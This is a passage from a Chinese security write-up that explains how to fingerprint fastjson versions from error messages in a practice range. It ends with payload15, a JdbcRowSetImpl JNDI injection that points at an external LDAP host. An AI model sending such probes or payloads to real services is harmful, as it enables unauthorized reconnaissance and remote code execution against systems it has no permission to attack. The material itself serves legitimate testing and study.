需要说明的是,该payload只适用于 至于["test":1]这个payload,我在该靶场没有测试成功;我后来自己写了个demo,测试成功,大家也可以自行测试:
对于payload13的报错情况,我们还可以细分。如果代码在写的时候几乎没有做任何异常处理(这种情况挺少见的),那么我们根据报错的代码出错点很快就可以判断出对方使用的是parseObject还是parse来处理数据的;否则我们只能根据有限的返回的报错信息来判断:
2.1.1 JSON.parseObject(jsondata, User.class)2.1.1.1 判断1.1.15<=version<=1.1.26报错:
syntax error, expect {, actual EOF
2.1.1.2 判断1.1.27<=version<=1.2.11
报错会显示错误的行数:
syntax error, expect {, actual EOF, pos 9
2.1.1.3 判断1.2.12<=version<=1.2.24
报错:
type not match
2.1.1.4 判断1.2.25<=version<=2.0.1
报错(后面接具体的类):
type not match. java.lang.AutoCloseable -> org.example.Main$User
其中,fastjson2以后,都会多一处报错,后面的情况也是一样的:
Caused by: com.alibaba.fastjson2.JSONException...
2.1.1.5 判断2.0.1<=version<=2.0.5.graal以及2.0.9<=version<=2.0.12
报错类似如下:
error, offset 35, char
2.1.1.6 判断2.0.6<=version<=2.0.7
报错:
illegal character
2.1.1.7 判断2.0.8以及2.0.13<=version<=2.0.40(我写这篇文章的时候的最新版本)
报错内容中会直接显示当前版本的版本号,很方便:
illegal character , offset 35, character , line 1, column 35, fastjson-version 2.0.8 {"@type":"java.lang.AutoCloseable"
2.1.2 JSON.parse(jsonData);2.1.2.1 判断1.1.15<=version<=1.1.26
报错:
syntax error, expect {, actual EOF
2.1.2.2 判断1.1.27<=version<=1.2.32
报错类似如下:
syntax error, expect {, actual EOF, pos 0
2.1.2.3 判断1.2.33<=version<=2.0.40
报错中都会直接显示版本号:fastjson1中显示如下:
syntax error, expect {, actual EOF, pos 0, fastjson-version 1.2.83
fastjson2中显示如下:
Illegal syntax: , offset 34, character , line 1, column 35, fastjson-version 2.0.40 {"@type":"java.lang.AutoCloseable"
但是需要注意的是1.2.76<=version<=1.2.80的时候,显示的版本都是1.2.76,原因是作者写死在代码里了,我提了个issue(https://github.com/alibaba/fastjson/issues/4451):
2.2 dnslog判断法特别说明:dns能出网并不代表存在fastjson漏洞!!!另外,讨论1.2.24以前的版本没什么意义,因此基本不会在下文中涉及。
2.2.1 判断1.1.15<=version<=1.2.24正常传参:
{"name":"admin","email":"admin","content":"admin"}
payload15:
{"name":"admin","email":"admin","content":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://aclarecpsj.dgrh3.cn/POC","autoCommit":true}}